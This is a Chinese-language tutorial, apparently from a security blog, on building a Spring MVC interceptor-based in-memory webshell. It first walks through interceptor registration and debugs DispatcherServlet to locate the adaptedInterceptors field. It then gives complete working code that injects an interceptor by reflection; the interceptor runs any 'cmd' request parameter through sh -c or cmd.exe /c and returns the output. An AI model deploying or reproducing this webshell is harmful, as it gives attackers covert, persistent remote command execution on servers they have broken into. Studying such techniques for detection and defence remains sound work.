一.前置知识
介绍
interceptor,是 Spring MVC 框架中的一种核心组件。类比 Tomcat 中的 filter,通常用来实现鉴权和记录日志。
我们环境还是与之前学习 controller 内存马时的一样,用 spring boot(Spring Boot 默认使用内嵌 Servlet 容器)快速搭建。

框架层 spring mvc 的入口点 DispatcherServlet 在之前我们已经见过, 他根据 url 请求调用 handlermapping 查找匹配的 controller。而 Interceptor 位于 Spring MVC 请求处理链的中层,介于 HandlerMapping 与 Controller 之间。
实现
自定义一个 interceptor,主要有以下两种方式:
- 通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义;
- 通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义。
我们这里用第一种方式:
实现一个有效的 Spring Interceptor 需要满足以下几个关键要求:
- Interceptor 类必须实现 HandlerInterceptor 接口,重写 preHandle()方法。
- 需要通过一个配置类显式将 Interceptor 类注册到拦截器链中
- 配置类需要实现 WebMvcConfigurer 接口,重写 addInterceptor()方法。
(1)先来写一个实现类
注意:Interceptor 类必须实现 HandlerInterceptor 接口,重写 preHandle()方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.example.demo.web;
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
public class TestInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("Interceptor执行"); return HandlerInterceptor.super.preHandle(request, response, handler); } }
|
(2) 它们的作用是插入到请求处理链中的特定位置 , 在 Controller 之前或之后执行逻辑 ,所以需要手动给他们配置拦截路径,注册到特定的配置接口。 Spring Boot 使用的是 Java 配置方式,而不需要手动编写 XML 配置 ,所以新建一个配置类,用于将 Interceptor 注册
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.example.demo.web;
import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.EnableWebMvc; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration @EnableWebMvc public class InterceptorConf implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**"); } }
|
因为我们代码设置的就是所有页面都经过,所以访问任意页面都能看到输出 Interceptor 执行

二.调试
Interceptor 是介于 HandlerMapping 与 Controller 之间,也是属于 spring mvc 框架层的。那么我们下断点就下到 spring MVC 的入口点 DispathcerServlet 的 doDispatch 方法中
看调用栈,前面请求是 tomcat 的流程,这里开始进行正向分析

还是在我们自己写的 preHandler 方法中下断点,最前面就不看了 servlet 容器相关的内容,直接从这里逆着分析

从属性值 interceptorList 中遍历获取 interceptor 然后调用 preHandle 方法,我们就往前跟着调用栈看,分析调用该方法的实例化对象 HandlerExecutionChain

mappedHandler 就是那个对象,它是调用 getHandler 方法获得的,后面跟进

现在是在前端控制器 DispatcherServlet 中遍历属性 handlerMappings,赋值给 mapping,可以看到 mapping 是 RequestMappingHandlerMapping 类的,getHandler 从它里面获取 handler

走到了它的父类 AbstractHandlerMapping 的 getHandler。该方法里面最后返回的 HandlerExecutionChain,是由 getHandlerExecutionChain 方法获得的,跟进跟进

最后就找到了,传给方法的参数 handler 传进构造函数进行实例化创建。但是见下图二:handler 和我们需要利用的属性 interceptorList 并没有太大的关系


所以我们在那个方法里面接着往下看,发现了我们真正关注点所在,进去这个 add 方法,往我们需要用的属性添加了 interceptor。这就是我们找到的可利用的点~!


interceptor 是从 AbstractHandlerMpping 的 adaptedInterceptors 属性中获得的

所以还是和 controller 行内存马中同样的思路,获得 web 上下文 WebApplicationContext ,然后从上下文中获得 RequestMappingHandlerMapping 转化为 AbstractHandlerMapping 反射获得属性 adaptedInterceptors 添加恶意 interceptor 即可
三.构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package com.example.demo.web;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.handler.MappedInterceptor; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.ServletContext; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Field; import java.util.List; import java.util.Scanner;
@RestController public class AttackInterceptor { @RequestMapping("/attackInterception") @ResponseBody public void attackInterception() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); ServletContext servletContext = request.getServletContext(); WebApplicationContext webApplicationContext = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE); AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)webApplicationContext.getBean(RequestMappingHandlerMapping.class);
Field abstractHandlerMappingClassDeclaredField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); abstractHandlerMappingClassDeclaredField.setAccessible(true); List<HandlerInterceptor> adaptedInterceptors =(List<HandlerInterceptor>) abstractHandlerMappingClassDeclaredField.get(abstractHandlerMapping);
MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/**"}, new InjectedInterceptor()); adaptedInterceptors.add(mappedInterceptor); }
@RestController public class InjectedInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } return HandlerInterceptor.super.preHandle(request, response, handler); }
@Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); }
@Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } } }
|